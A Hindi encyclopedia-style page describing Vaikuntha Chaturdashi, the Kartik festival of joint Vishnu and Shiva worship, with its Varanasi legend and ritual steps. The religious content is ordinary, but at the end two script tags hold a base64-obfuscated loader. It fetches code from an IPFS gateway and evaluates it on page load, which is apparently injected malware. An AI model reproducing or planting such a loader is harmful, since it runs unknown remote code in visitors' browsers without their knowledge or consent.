वैकुण्ठ चतुर्दशी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
हरि-हर मिलन

भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है। कार्तिक शुक्ल पक्ष की चतुर्दशी को वैकुण्ठ चतुर्दशी कहा गया है। यदि विष्णु पूजा करनी हो तो रात में की जानी चाहिए।[1] कार्तिक शुक्ल पक्ष की चतुर्दशी पर हेमलम्ब वर्ष में अरुणोदय काल में ब्रह्म मुहूर्त में स्वयं विश्वेश्वर भगवान ने वाराणसी में मणिकर्णिकाघाट पर स्नान किया था, पाशुपत व्रत किया था तथा उमा के साथ विश्वेश्वर की पूजा की थी एवं विश्वेश्वर की स्थापना की थी।[2]

काशी विश्वनाथ स्थापना दिवस

कार्तिक शुक्ल चतुर्दशी को स्वयं श्रीहरि ने वाराणसी में स्नान करके पाशुपत व्रत करके विश्वेश्वर की पूजा अर्चना की थी। तभी से इस दिन को 'काशी विश्वनाथ स्थापना दिवस' के रूप में मनाया जाता है। इस दिन विधि पूर्वक जो विष्णु व शिव की पूजा करता है उसे बैकुंठ लोक की प्राप्ति होती है। ये कार्तिक पूर्णिमा से एक दिन पहले होती है। पूरे साल में सिर्फ इसी दिन हरि-हर की पूजा एक साथ होती है, ऐसा बहुत कम होता है कि एक ही दिन भगवान शिव एवं भगवान विष्णु का संयुक्त रूप से पूजन किया जाये। पुराणों के अनुसार, इस दिन किए गए दान, जप आदि का दस यज्ञों के समान फल प्राप्त होता है। जीवन के अंत समय में उसे भगवान विष्णु के धाम वैकुंठ में स्थान मिलता है।

हरि-हर मिलन

हरि-हर मिलन

इस दिन को हरि-हर मिलन के नाम से भी जाना जाता है। सनातन धर्म अनुसार कार्तिक माह की शुक्ल पक्ष की चतुर्दशी को बैकुण्ठ चतुर्दशी के नाम से जाना जाता है। माना जाता है कि कार्तिक माह के शुक्ल पक्ष कि चतुर्दशी को हेमलंब वर्ष में अरुणोदय काल में, ब्रह्म मुहूर्त में स्वयं भगवान विष्णु ने वाराणसी में मणिकर्णिका घाट पर स्नान किया था। पाशुपत व्रत करके विश्वेश्वर ने यहाँ पूजा की थी। भगवान शंकर ने भगवान विष्णु के तप से प्रसन्न होकर इस दिन पहले विष्णु और फिर उनकी पूजा करने वाले हर भक्त को वैकुंठ पाने का आशीर्वाद दिया।

ऐसी मान्यता है कि बैकुंठाधिपति भगवान विष्णु की पूजा करने से मनोवांछित फल की प्राप्ति होती है और वैकुंठ धाम में निवास प्राप्त होता है। हिन्दू धर्म में वैकुण्ठ लोक भगवान विष्णु का निवास व सुख का धाम ही माना गया है। पौराणिक मान्यताओं के मुताबिक वैकुण्ठ लोक चेतन्य, दिव्य व प्रकाशित है। तभी से इस दिन को ‘काशी विश्वनाथ स्थापना दिवस’ के रूप में भी मनाया जाता है। इस शुभ दिन के उपलक्ष्य में भगवान शिव तथा विष्णु की पूजा की जाती है। इसके साथ ही व्रत का पारण किया जाता है। यह बैकुण्ठ चौदस के नाम से भी जानी जाती है। इस दिन श्रद्धालुजन व्रत रखते हैं।

विधि

घर की उत्तर-पूर्व दिशा में हरा कपड़ा बिछाकर उस पर कांसे के लोटे में जल, दूध, सिक्के, दूर्वा, सुपारी व पीपल के पत्ते पर नारियल रखकर हरिहर कलश स्थापित करें। साथ में महादेवविष्णु का चित्र स्थापित करके विधिवत षोडशोपचार पूजन करें। कांसे के दीए में गाय के घी का दीपक करें, चंदन की धूप करें, विष्णु पर गोलोचन व महेश्वर पर चंदन से तिलक करें। कमल का फूल चढ़ाएं, मखाने की खीर का भोग लगाएं तथा जल, इत्र, शक्कर, दही से अभिषेक करें। विशेष मंत्रों की 1-1 माला जाप करें। पूजन के बाद भोग गाय को खिला दें।


टीका टिप्पणी और संदर्भ

  1. निर्णयसिन्धु (206
  2. निर्णयसिन्धु (206); स्मृतिकौस्तुभ (388-389); पुरुषार्थचिन्तामणि (246-247

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>